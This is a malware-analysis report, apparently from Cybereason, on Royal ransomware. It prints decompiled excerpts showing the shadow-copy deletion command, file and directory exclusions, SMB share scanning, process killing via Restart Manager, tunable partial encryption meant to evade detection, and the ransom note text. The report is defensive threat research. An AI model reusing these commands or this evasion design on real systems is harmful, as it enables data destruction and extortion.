Royal Rumble: Analysis of Royal Ransomware

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The Royal ransomware group emerged in early 2022 and has gained momentum since the middle of the year. Its ransomware, which the group deploys through different TTPs, has impacted multiple organizations across the globe. The group itself is suspected of consisting of former members of other ransomware groups, based on similarities researchers have observed between Royal ransomware and other ransomware operators.

Key Findings

- Unique approach to evade anti-ransomware defenses: Royal ransomware expands the concept of partial encryption, which means it has the ability to encrypt a pre-determined portion of the file content and base its partial encryption on a flexible percentage encryption, which makes detection more challenging for anti-ransomware solutions.
- Multi-threaded ransomware: Royal ransomware employs multiple threads in order to accelerate the encryption process.
- Global ransomware operation: Royal ransomware operates around the world, and reportedly on its own. The group doesn't appear to use ransomware-as-a-service or to target a specific sector or country.

• Different methods of deployment: Royal ransomware initially starts and deploys in different ways, as described in this report.

INTRODUCTION

The Royal ransomware group was first discovered in early 2022. At the time, it <u>utilized</u> third-party ransomware, such as BlackCat and custom Zeon ransomware. Since September 2022, the group has started to use its own ransomware. In November 2022, Royal ransomware was <u>reported</u> to be the most prolific ransomware in the e-crime landscape, overtaking Lockbit for the first time in more than a year.

Royal ransomware operations start in different ways. One method is through phishing campaigns and uses one of the common e-crime threat loaders, <u>reportedly</u> BATLOADER and <u>Qbot</u>. The threat loader then downloads a Cobalt Strike payload to continue the malicious operation within the infected environment. This tactic is commonly used by other ransomware operations, including <u>Qbot and</u> <u>BlackBasta</u>.

Since mid-September, the ransomware group has gained momentum and added dozens of victims to its website. The group does not seem to focus on a specific sector, and its victims vary from industrial companies to insurance companies, and more. Although the majority of the group's victims are based in the U.S., one of its higher profile victims was the <u>Silverstone Circuit</u>, a motor racing circuit in England.

8 November 2022	Silverstor	ne							
50%	The end of the Seco ds. On 2 October 19 stone, a former RAI others in his Masera Silverstone racing h	The end of the Second World War had left Britain with no major race track but plenty of airfiel ds. On 2 October 1948, the Royal Automobile Club hosted the first British Grand Prix at Silver stone, a former RAF base. An estimated 100,000 people flocked to see Luigi Villoresi beat 22 others in his Maserati marked by bales, ropes and canvas barriers. Silverstone racing history had begun.							
	Website	Revenue							
<u>Link #1</u>	Link	\$57M							
	Employees								
	89								

Screenshot from Royal Ransomware website showing Silverstone Circuit as a victim

Multiple <u>reports</u> have noted resemblances between the Royal Ransomware group and <u>Conti</u>, including similarities between the ransom notes each group uses (particularly in Royal's early stages) and the use of <u>callback phishing</u> attacks. In our research, we have identified additional similarities, such as resemblances in the encryption process decision factors. However, these similarities are not yet clear enough to confirm a direct connection between the two groups.

TECHNICAL ANALYSIS

Setting up the ransomware

When executing, Royal ransomware can take three arguments in its command line:

- -path [optional]: The path to be encrypted
- -ep [optional]: The number that represents the percentage of the file that will be encrypted
- -id: A 32-digit array

The encryption process decision tree is dependent on the command line arguments. Therefore, factors such as encryption speed, file corruption, and potential detection are directly affected. If no "-id" parameter is given in the command line, the ransomware won't run.

```
CommandLineW = GetCommandLineW();
ptr_cmdline = CommandLineToArgvW(CommandLineW, &pNumArgs);
var size of id = 0x32;
v7 = 0i64;
v8 = 0;
v20 = 0;
*MultiByteStr = 0i64;
for ( i = 0i64; v8 < pNumArgs; ++ptr cmdline )// set the command line arguments
{
  if ( lstrcmpW(*ptr_cmdline, L"-path") )
                                           // path to encrypt
                                                                              Royal ransomware
  {
   if ( lstrcmpW(*ptr cmdline, L"-id") ) // 32 digits
    {
      if ( !lstrcmpW(*ptr_cmdline, L"-ep") ) // encryption percentage
      {
       ++ptr_cmdline;
       ++v8;
       var_size_of_id = unknown_libname_21();
       if ( (var_size_of_id - 1) > 99 ) // accept 32 digits
         var_size_of_id = 0x32;
```

command line arguments

After validating the command line, Royal ransomware will attempt to delete shadow copy backups using the process Vssadmin.exe, with the command line "delete shadows /all /quiet".

```
wsprintfW(CommandLine, L" delete shadows /all /quiet");
StartupInfo.cb = 104;
memset(&StartupInfo.cb + 1, 0, 100);
memset(&ProcessInformation, 0, sizeof(ProcessInformation));
if ( CreateProcessW(
      L"C:\\Windows\\System32\\vssadmin.exe",
      CommandLine,
      0i64,
                                                             Royal ransomware deleting shadow copies
      0i64.
       0,
       0,
      0i64,
      0i64,
       &StartupInfo,
       & ProcessInformation) )
```

The deletion of the shadow copy can also be seen via the Cybereason Defense Platform, which identifies the activity as ransomware behavior in the image below.



Cybereason Defense Platform identifies deletion of shadow copies

Once the backups have been deleted, Royal ransomware will set its exclusion paths (the files or directories spared from file encryption). The following file extensions will be excluded from being encrypted:

- .exe
- .dll
- .bat
- .lnk
- README.TXT
- .royal



>Royal ransomware setting the extension exclusion list

Next, the ransomware will set the list of directories to be excluded from the encryption process. These directories are the ones that contain the following strings:

- Windows
- Royal Perflogs
- Tor browser
- Boot \$recycle.bin
- Windows.old
- \$window.~ws
- \$windows.~bt
- Mozilla
- Google

```
sub 14007CD00(&v47, 8ui64, v30, L"perflogs");
v37 = a1[87];
if ( v37 == a1[88] )
{
  e add to array sub 14007E260(a1 + 86, v37, &v47);// add perflogs
e_exclude_directories_sub_14007C9F0(&v47, L"tor browser", v41);
sub 14007E050(a1 + 86, &v47);
                                                                  Royal ransomware setting the
unknown libname 4(&v47);
e_exclude_directories_sub_14007C9F0(&v47, L"boot", v42);
sub 14007E050(a1 + 86, &v47);
unknown_libname_4(&v47);
e_exclude_directories_sub_14007C9F0(&v47, L"$windows.~ws", v43);
sub 14007E050(a1 + 86, &v47);
unknown libname 4(&v47);
e_exclude_directories_sub_14007C9F0(&v47, L"$windows.~bt", v44);
sub_14007E050(a1 + 86, &v47);
unknown libname 4(&v47);
e_exclude_directories_sub_14007C9F0(&v47, L"windows.old", v45);
```

```
directories exclusion list
```

After setting the directories to be excluded from encryption, the ransomware then uses the API call Socket to establish a TCP socket and WSAloctl to invoke a handler for LPFN_CONNECTEX to use the ConnectEx function.

```
WSAStartup(0x202u, &WSAData);
v3 = socket(AF_INET, SOCK_STREAM, 0); // Open TCP socket
if ( v3 != -1i64 )
{
    vInBuffer[0] = 0x25A207B9; // WSAID_CONNECTEX Tguid Royal
    vInBuffer[1] = 0x4660DDF3; // retrieve LPFN_CONNECTEX
    vInBuffer[2] = 0xE576E98E;
    vInBuffer[3] = 0x3E06748C;
    if ( !WSAIoctl(v3, 0xC8000006, vInBuffer, 0x10u, (a1 + 24600), 8u, cbBytesReturned, 0i64, 0i64) )
```

Ransomware retrieving ConnectEx function

After the initial part of setting the ransomware, Royal ransomware will create two threads: one for writing the ransom note on non-excluded directories and another for file encryption, in addition to a network scanning option.

NETWORK SCANNER

As mentioned, if no path is given in the command line arguments, Royal ransomware will start with the following steps:

First, the ransomware will scan the network interfaces, and if possible, retrieve the different IP addresses for the target machine(s), using the API call GetIpAddrTable. It will specifically search for IP addresses that start with "192. / 10. / 100. / 172."

Network scanning

Second, Royal ransomware will establish a socket using the API WSASocketW and will associate it with a completion port using CreateloCompletionPort. It then will use the API call htons to set the port to SMB, and eventually try to connect to the instructed IP addresses via the LPFN_CONNECTEX callback function.

```
SOCKET = WSASocketW(AF INET, SOCK STREAM, IPPROTO TCP, 0i64, 0, WSA FLAG OVERLAPPED);
h SOCKET = SOCKET;
if ( SOCKET == -1164 )
 goto LABEL_11;
*&name.sa_family = AF_INET;
if ( bind(SOCKET, &name, 16) )
{
  closesocket(h_SOCKET);
EL_11:
  *v3 = -1i64;
                                                                                       Using ConnectEx
  return *(a1 + 24616) > 0;
}
CreateIoCompletionPort(h_SOCKET, *a1, 0i64, 0);
*v3 = h SOCKET;
v13[0] = AF INET;
v7 = htons(445u);
                                            // SMB port
v8 = *v3;
v13[1] = v7;
v14 = v4;
if ( (*(a1 + 24600))(v8, v13, 16i64) )
                                           // ConnectEx
```

Third, the ransomware will enumerate the shared resources of the given IP addresses using the API call NetShareEnum. If a shared resource is one of "\\<IP_Address>\ADMIN\$" or "\\<IP_Address>\IPC\$", the ransomware will not encrypt it.

```
WSAAddressToStringW(&saAddress, 0x10u, 0i64, szAddressString, &dwAddressStringLength);
do
 ł
  entriesread = 0;
  totalentries = 0;
  resume handle = 0;
  var shared bufptr = 0i64;
  v4 = NetShareEnum(
                                           // retrieve information about its shared resources
         szAddressString,
         1u,
         &var shared bufptr,
         0xFFFFFFF,
         &entriesread,
         &totalentries,
         &resume handle);
   v5 = v4;
   if ( v4 && v4 != 0xEA )
    break;
   tmp ShareInfoBuffer = var shared bufptr;
  v7 = 1;
  if ( entriesread )
   {
     do
     {
       if ( lstrcmpiW(L"ADMIN$", *tmp ShareInfoBuffer) && lstrcmpiW(L"IPC$", *tmp ShareInfoBuffer) )
        wsprintfW(&var_remote_share_path, L"\\\\%s\\%s", szAddressString, *tmp_ShareInfoBuffer);
Enumerating network resources and avoiding ADMIN$ and IPC$ file shares
```

ENCRYPTION THREAD

Royal ransomware encryption is multi-threaded. To choose the number of running threads, the ransomware will use the API call GetNativeSystemInfo to collect the number of processors in a machine. It will then multiply the result by two and will create the appropriate number of threads accordingly.

```
GetNativeSystemInfo(&SystemInfo);
result = 2 * SystemInfo.dwNumberOfProcessors; // Number of threads = 2 * Number of processors
*(lpParameter + 530) = a2;
*(lpParameter + 524) = result;
var_counter = 0;
if ( result )
{
  v6 = lpParameter + 48;
                                                                                                  Creating
  do
  {
    result = CreateThread(0i64, 0i64, e_encrypting_thread_sub_14007F870, lpParameter, 0, 0i64);
    *v6 = result;
    ++var counter;
    ++v6;
  }
  while ( var counter < *(lpParameter + 524) );</pre>
encryption threads
```

Next, the ransomware will set the RSA public key, which is embedded in the binary in plain text and will be used for encrypting the AES key.

	v4 =	lstrlenA(
		"BEGIN RSA PUBLIC KEY\n"	
		"MIICCAKCAgEA0y6/qfb0GqxB2tNEW8qLCtT7U3XCzp10VjVkaTH9SBV1k3NBElgC\n"	
		<pre>"esSVOFAUAG5nT3WO+CdN26ScoKsFjzKGYh8c7vyoi7L5dDBRdoTEW5+u2rBSIN3c\n"</pre>	
		"pkR0Wsq+gT3j0gtvjVybMfp6NRifsMfrcAV9tlrzUw7Da2mx+1Ik9Aa5RaaOxv8N\n"	
		"ahH6OSJ8Qz1G3uCgZaXAUL1AqNn1N0KtSo4VsXt/sOnDh1pGFf8jqU8sqwJUkcWk\n"	
		"RdeYdsDyiDrUFxXkHJsiZb8lFk6b01Rm2yS9+kyZxi1yhB1m0kStUUmbN2aoZMy1\n"	
>		"pIKxDa2clhhYw+JEMrbCKWW1Aif2hR55nBgL2kwiaNShXUm3yEsfbnd/1J5ORMUF\n"	RSA public key
		"tVmaEFEyvVutc86TcNhu0NCHfYihtgbcke7cvy23XnL/qlFL40zdAnyupz0n69mk\n"	
		"1TSJBR7so3GhvQz53wTps9FXSwW1RpGLTCGRo4OnLnke7Hi5YL+Wb/4c6xWz8biX\n"	
		"+jNeg5Zko+CL3I7ywJkyCWuH9Pr7nccWr1s35BSV8Aj9rMwmOsak2BG91Db0yovg\n"	
		"FLmKMhkwxpBgFfePXIZF687DxpwYJ5fN440yUCfNrtfejfSFtjhDCwFy/YpBhZ/w\n"	
		"2Bnw8hTLNALEIsDBhAlQBVYAGYhUgDbpvs/GN3qijyFWdESqlCK1Eg0CAQM=\n"	
		"END RSA PUBLIC KEY\n"	
		"\r\n");	

Before starting the encryption process, Royal ransomware uses the Windows Restart Manager to check if any of the targeted files to be encrypted are being used or blocked by other applications or services. Notably, other ransomware groups including <u>Conti</u>, <u>Babuk</u>, and <u>Lockbit</u> use Restart Manager for the same purpose. Royal then uses the API calls RmStartSession to start the session, RmRegisterResources to register the resources (i.e., the targeted files), RmGetList to verify which applications or services are using the resource (excluding "explorer.exe"), and RmShutDown to kill those applications and services using the resource.

```
CurrentProcess = GetCurrentProcess();
 ProcessId = GetProcessId(CurrentProcess);
 Toolhelp32Snapshot = CreateToolhelp32Snapshot(2u, 0);
 v10 = Toolhelp32Snapshot;
 if ( Toolhelp32Snapshot == -1i64 )
   goto LABEL 16;
 pe.dwSize = 568;
 if ( !Process32FirstW(Toolhelp32Snapshot, &pe) || !Process32NextW(v10, &pe) )
LABEL 15:
   CloseHandle(v10);
LABEL_16:
   th32ProcessID = 0;
   goto LABEL_17;
 }
 while ( lstrcmpiW(pe.szExeFile, L"explorer.exe") )// check if explorer.exe
  {
    if ( !Process32NextW(v10, &pe) )
     goto LABEL_15;
                                                                                                 Royal
 CloseHandle(v10);
 th32ProcessID = pe.th32ProcessID;
LABEL 17:
 v12 = 0;
 if ( pnProcInfo )
  ł
   v13 = v6;
    while ( v13->Process.dwProcessId != ProcessId && v13->Process.dwProcessId != th32ProcessID )
     ++v12;
     ++v13;
     if ( v12 >= pnProcInfo )
       goto LABEL 22;
    }
    goto LABEL_29;
 }
LABEL 22:
 v14 = RmShutdown(pSessionHandle, 1u, 0i64); // killing the process
ransomware killing processes
```

Finally, the encryption method will be determined by the size of the file that will be encrypted and in consideration of the -ep parameter.

- If the file size is smaller than 5.245 MB or the -ep argument equals 100:, the entire file will be encrypted.
- If the file size is larger than 5.245 MB and the -ep argument is not equal to 100:, the file will be encrypted approximately by the percentage of the -ep argument.
- If the file size is larger than 5.245 MB and no -ep argument is given, 50% of the file will be encrypted.

making in encryption

When a targeted file is being encrypted, the ransomware calculates the percentage to encrypt and divides the file content (encrypted and unencrypted) into equal segments. The fragmentation and possibly low percentage of encrypted file content that results lowers the chance of being detected by anti-ransomware solutions.

In the following test, we can see the comparison between the encryption of the same file (larger than 5.245 MB) with different encryption percentages (-ep argument). The image on the left represents an -ep argument of 50 and the image on the right represents an -ep argument of 10.

ner an eine Konner verster sein wird eine Antholik (1990) ein Proch

PortexAnalyzer ep 50 vs. ep 10

In addition to the file being encrypted, Royal ransomware will save 532 bytes at the end of each file and writes the following:

- 512 bytes for randomly generated encryption key
- 8 bytes for file size of the encrypted file
- 8 bytes for the used ep parameter

006CE7F0	61	61	61	61	61	61	61	61	61	61	61	61	61	61	61	61	aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa	
006CE800	61	61	61	61	61	61	61	61	61	61	61	61	61	61	61	61	aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa	
006CE810	61	61	61	61	61	61	61	61	61	61	61	61	61	61	61	61	aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa	
006CE820	28	F7	57	71	2B	BD	EE	98	27	FA	E3	D4	83	77	6C	56	(÷Wq+‰î~'úãÔfwlV	
006CE830	93	DB	BB	7E	AE	32	96	8A	78	66	E8	86	EA	52	45	6A	``Û≫~©2-Šxfè†êREj	
006CE840	EO	06	1A	AF	78	5D	97	79	62	C4	89	EC	A2	B 5	F3	AE	à¯x]—ybĉ좵ó⊗	
006CE850	93	69	14	EC	02	5E	76	91	2E	8D	5C	OF	F5	AF	AA	BB	"i.ì.^v'∖.õ¯°≫	
006CE860	0D	A6	10	FO	AD	14	32	83	71	55	86	52	03	2F	65	72	.¦.ð2fqU†R./er	
006CE870	B7	67	FD	F2	73	F1	E9	B3	7E	F1	B9	2E	37	07	33	81	∙gýòsñé³~ñ¹.7.3.	
006CE880	03	BF	1D	86	8F	6A	B8	96	Ε9	6E	99	0F	0F	ЗA	46	32	.¿.†.j,-én™:F2	
006CE890	4A	79	FF	5A	8B	6E	ED	DC	98	CD	C5	D6	BB	06	65	38	JyÿZ∢níÜ~ÍÅÖ≫.e8	
006CE8A0	12	EC	8A	5D	01	AD	22	CE	00	97	5D	22	57	00	67	23	.ìŠ]"Î.—]"W.g#	
006CE8B0	C4	2D	7C	AC	40	40	C9	D3	23	58	F1	6A	53	BA	FA	ED	Ä− ¬00ÉÓ#XñjS°úí	
006CE8C0	FD	03	A2	86	ЗD	1C	37	57	E0	86	55	98	C0	A3	F8	C5	ý.¢†=.7Wà†U~À£øÅ	
006CE8D0	68	A9	2D	D4	19	98	29	0D	B5	5F	58	7D	FC	0F	58	4D	h©-Ô.~).µ_X}ü.XM	
006CE8E0	4E	87	90	Β7	6C	AA	ЗD	D6	24	69	E2	8F	F5	26	4C	14	N‡. lª=Ö\$iâ.õ&L.	
006CE8F0	DD	F7	D5	48	EF	49	2E	DE	02	91	55	02	4C	D6	23	E1	Ý÷ÕHïI.Þ. 'U.LÖ#á	
006CE900	7A	40	E8	E4	64	92	47	D7	26	A 5	8A	FB	A 5	BA	AE	E9	z@èäd'G×&¥Šû¥°®é	Encry
006CE910	F4	FA	53	2C	DC	E6	AЗ	BE	5B	9F	CF	92	2E	40	9D	41	ôúS,Üæ£¾[ŸÏ′.@.A	,
006CE920	F9	01	CB	AA	52	B5	2F	C4	22	E8	D1	99	6A	CD	35	43	ù.˪Rµ/Ä"èÑ™jÍ5C	
006CE930	7C	В9	42	C8	1B	1D	21	57	2A	71	59	5B	FC	70	AB	4F	¹BÈ!W*qY[üp≪O	
006CE940	0E	FF	FE	87	FA	EC	13	AA	73	B 3	82	9E	11	8A	34	12	.ÿþ‡úì.≞s³,ž.Š4.	
006CE950	4C	96	C1	71	68	DD	61	B3	F6	C6	50	2F	C7	00	03	FA	L-ÁqhÝa³öÆP/Çú	
006CE960	E3	88	79	48	17	2B	Α4	03	CD	DE	88	7B	3E	4F	53	71	ã^yH.+¤.Í₽^{>OSq	
006CE970	40	AE	Α4	B1	FB	C3	39	30	8A	BC	1A	BF	25	53	26	84	@⊠×±ûÃ90Š≒.¿%S&"	
006CE980	F9	FE	ЗD	34	FC	E9	2F	48	C2	7B	E3	A2	15	ΕO	DD	87	ùþ=4üé/HÂ{ã¢.à݇	
006CE990	C8	39	05	AO	77	98	Ε4	82	CA	30	1C	Α9	74	0D	EE	73	È9. w~ä,Ê0.©t.îs	
006CE9A0	A0	91	EA	F4	C7	ΕO	B6	BF	76	72	97	23	09	FD	C7	E3	`êôÇà¶¿vr—#.ýÇã	
006CE9B0	F1	Α4	95	73	43	E5	8E	52	Ε9	B8	D6	4D	48	2E	AE	D6	ñ¤∙sCåŽRé,ÖMH.®Ö	
006CE9C0	B5	6D	04	8B	8D	E3	E3	66	D2	8A	ЗD	58	DA	8D	B5	08	μm.<.ããfÒŠ=XÚ.μ.	
006CE9D0	6D	AF	1A	C2	53	OF	4E	EΒ	64	84	A0	94	16	13	Α4	A3	m .ÂS.Nëd"."¤£	
006CE9E0	B5	BB	72	01	15	9B	64	F5	09	50	D1	44	80	55	9F	5E	µ≫r>dõ.PÑD€UŸ^	
006CE9F0	8A	85	58	18	10	20	62	EΒ	Α2	F4	DA	E1	E 8	25	21	5B	Š…X bë¢ôÚáè%![
006CEA00	5B	AD	24	E7	36	E9	07	3B	AE	93	FE	DD	78	4B	23	7D	[.\$ç6é.;®"þÝxK#}	
006CEA10	AB	B8	C9	2A	CD	E9	25	9A	45	90	3E	44	F2	32	3C	7E	<u>≪,É*Íé%šE.>Dò2<~</u>	J
006CEA20	20	E8	6C	00	00	00	00	00	32	00	00	00	00	00	00	00	èl2	
				/									~					

Encryption key

file size

ep mode (32 = 50%)

While <u>partial encryption</u> is not new, most ransomware base their partial encryption only on the file size, then encrypt a set percentage of the file the same way, each time. In contrast, Royal ransomware lets the operator choose a specific percentage and lower the amount of encrypted data even if the file size is large. This ability to change the amount of the file to be encrypted gives Royal ransomware an advantage when it comes to evading detection by security products.

It's worth highlighting that Conti ransomware also chooses the file size of 5.24 MB as its threshold for partial encryption. When a file was larger than 5.24MB, Conti would encrypt 50% of the file in a divided manner, much like Royal ransomware. This similarity raises the question of whether the Royal ransomware authors have a connection to the Conti group, but on its own, it is not strong enough to suggest a direct or definitive connection.

As for the encryption algorithm, Royal ransomware uses the OpenSSL library and the AES256 algorithm. Similar to other ransomware, it first reads the targeted file using ReadFile, then it encrypts the content and writes the encrypted data in the designated location using WriteFile and SetFilePointerEx. After finishing encryption, the file extension changes to ".royal" using the API call MoveFileExW.

```
v11 = e_encryption_process_sub_14007F3B0(var_GetFileSizeEx_result, v5, v14[0], v10, v6);
FlushFileBuffers(var_GetFileSizeEx_result);
CloseHandle(var_GetFileSizeEx_result);
if ( v11 )
{
    e_append_sub_14007CB80(ptr_appended_file, var_file_name, str_royal_qword_1402B4A00);// append .royal (the qword is .royal)
    e_check_royal_extension_size_sub_14007C970(ptr_appended_file);
    v12 = e_check_royal_extension_size_sub_14007C970(var_file_name);
    MoveFileExW(v12, v13, 8u); // set the .royal extension
```

Royal ransomware appending .royal extension to the files it encrypts

WRITING THE RANSOM NOTE

During the entire Royal ransomware process, the ransomware creates an additional thread to retrieve the logical drives using the API call GetLogicalDrives. It then writes the ransom note with the name "README.TXT" in every directory that is not in its exclusion list.

```
e_append_sub_14007CB80(lpFileName, a2, L"\\README.TXT");
v3 = lpFileName;
if ( v11 >= 8 )
 v3 = lpFileName[0];
FileW = CreateFileW(v3, 0x40000000u, 0, 0i64, 2u, 0, 0i64);
if ( FileW == -1164 )
 if ( v11 < 8 )
  goto LABEL 8;
  v5 = lpFileName[0];
 if ( 2 * v11 + 2 < 0x1000 )
  goto LABEL 7;
   5 = *(lpFileName[0] - 1);
 if ( (lpFileName[0] - v5 - 8) <= 0x1F )
   goto LABEL_7;
 goto LABEL 19;
sub_1401E4650(Buffer, 0, 0x1000ui64);
v8 = sub 14007B860(
      Buffer
       "Hello!\r\n'
      "\r\n"
       "\tIf you are reading this, it means that your system were hit by Royal ransomware.\r\n"
       "\tPlease contact us via :\r\n"
      "\thttp://royal2xthig3ou5hd7zsliqagy6yygk2cdelaxtni2fyad6dpmpxedid.onion/%s\r\n"
       "\r\n"
       "In the meantime, let us explain this case.It may seem complicated, but it is not!\r\n"
       "Most likely what happened was that you decided to save some money on your security infrastructure.\r\n"
       "Alas, as a result your critical data was not only encrypted but also copied from your systems on a secure serve"
       "r.\r\n"
       "From there it can be published online. Then anyone on the internet from darknet criminals, ACLU journalists, Chi"
       "nese government(different names for the same thing),\r\n"
       "and even your employees will be able to see your internal documentation: personal data, HR reviews, internal la"
       "wsuitsand complains, financial reports, accounting, intellectual property, and more!\r\n"
       "\r\n"
       "\tFortunately we got you covered!\r\n"
      "\r\n"
       "Royal offers you a unique deal.For a modest royalty(got it; got it ? ) for our pentesting services we will not "
       "only provide you with an amazing risk mitigation service,\r\n"
       "covering you from reputational, legal, financial, regulatory, and insurance risks, but will also provide you wi"
       "th a security review for your systems.\r\n'
       "To put it simply, your files will be decrypted, your data restoredand kept confidential, and your systems will "
```

Royal Ransomware creating the ransom note

Eventually, an encrypted directory will look like this

README.TXT

- file-sample_1MB.rtf.royal
- file-sample_1MB.odt.royal
- file-example_PDF_1MB.pdf.royal
- file_example_JPG_2500kB.jpg.royal
- file_example_GIF_3500kB.gif.royal
- file_example_CSV_5000.csv.royal
- file_example_AVI_1920_2_3MG.avi.royal

OVERVIEW

The image below illustrates the entire encryption process decision tree:

Example of a folder affected by royal ransomware



Royal ransomware encryption process decision tree

CONCLUSION

When it comes to partial encryption, Royal ransomware seems to give the ransomware operator a more flexible solution for evading detection compared to most ransomware. We assume this flexibility and the evasion potential it enables was a design goal for the creators of Royal ransomware.

As with some reports mentioned above, some ideas that were implemented in Conti ransomware can be found in Royal ransomware.

CYBEREASON DEFENSE PLATFORM: DETECTION AND PREVENTION

The <u>Cybereason Defense Platform</u> is able to detect and prevent Royal ransomware infections using multilayer malware protection that leverages threat intelligence, machine learning, anti-ransomware, next-gen antivirus (NGAV), and <u>Variant Payload Prevention</u> capabilities.



Cybereason Defense Platform showing the Royal ransomware triggered a "MalOp"

RECOMMENDATIONS

The Cybereason GSOC & Security Research teams recommend the following actions in the Cybereason Defense Platform:

- Enable Application Control to block the execution of malicious files.
- Enable Anti-Ransomware in your environment's policies, set the <u>Anti-Ransomware</u> mode to Prevent, and enable Shadow Copy detection to ensure maximum protection against ransomware.
- Enable Variant Payload Prevention with prevent mode on Cybereason Behavioral execution prevention.
- To hunt proactively, use the Investigation screen in the Cybereason Defense Platform and the queries in the Hunting Queries section to search for machines that are potentially infected with Royal Ransomware.

Based on the search results, take further remediation actions, such as isolating the infected machines and deleting the payload file.

Cybereason is dedicated to teaming with defenders to end cyber attacks from endpoints to the enterprise to everywhere. <u>Schedule a demo today</u> to learn how your organization can benefit from an <u>operation-centric approach to security</u>.

MITRE ATT&CK MAPPING

Tactic	Technique or Sub-technique
TA0005: Discovery	T1083: File and Directory Discovery
TA0007: Discovery	T1016: System Network Configuration Discovery
TA0007: Discovery	T1046: Network Service Discovery
TA0007: Discovery	T1057: Process Discovery
TA0007: Discovery	T1082: System Information Discovery
TA0007: Discovery	T1135: Network Share Discovery
TA0040: Impact	T1486: Data Encrypted for Impact
TA0040: Impact	T1489: Service Stop
TA0040: Impact	T1490: Inhibit System Recovery
TA0002: Execution	T1059: Command and Scripting Interpreter

IOCS

Indicators	Indicator type	Description
250bcbfa58da3e713b4ca12edef4dc06358e8986cad15928aa30c44fe4596488	SHA256	Royal Ransomware Binary
9db958bc5b4a21340ceeeb8c36873aa6bd02a460e688de56ccbba945384b1926	SHA256	Royal Ransomware Binary
c24c59c8f4e7a581a5d45ee181151ec0a3f0b59af987eacf9b363577087c9746	SHA256	Royal Ransomware Binary
5fda381a9884f7be2d57b8a290f389578a9d2f63e2ecb98bd773248a7eb99fa2	SHA256	Royal Ransomware Binary

312f34ee8c7b2199a3e78b4a52bd87700cc8f3aa01aa641e5d899501cb720775	SHA256	Royal Ransomware Binary
f484f919ba6e36ff33e4fb391b8859a94d89c172a465964f99d6113b55ced429	SHA256	Royal Ransomware Binary
7cbfea0bff4b373a175327d6cc395f6c176dab1cedf9075e7130508bec4d5393	SHA256	Royal Ransomware Binary
2598e8adb87976abe48f0eba4bbb9a7cb69439e0c133b21aee3845dfccf3fb8f	SHA256	Royal Ransomware Binary

ABOUT THE RESEARCHERS

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Alon Laufer is a Senior Security Analyst with the Cybereason Global SOC team. Alon

analyzes critical incidents. He began his career in the Israeli Air Force where he was responsible for protecting critical infrastructure. Alon is interested in malware analysis, digital forensics, and incident response.

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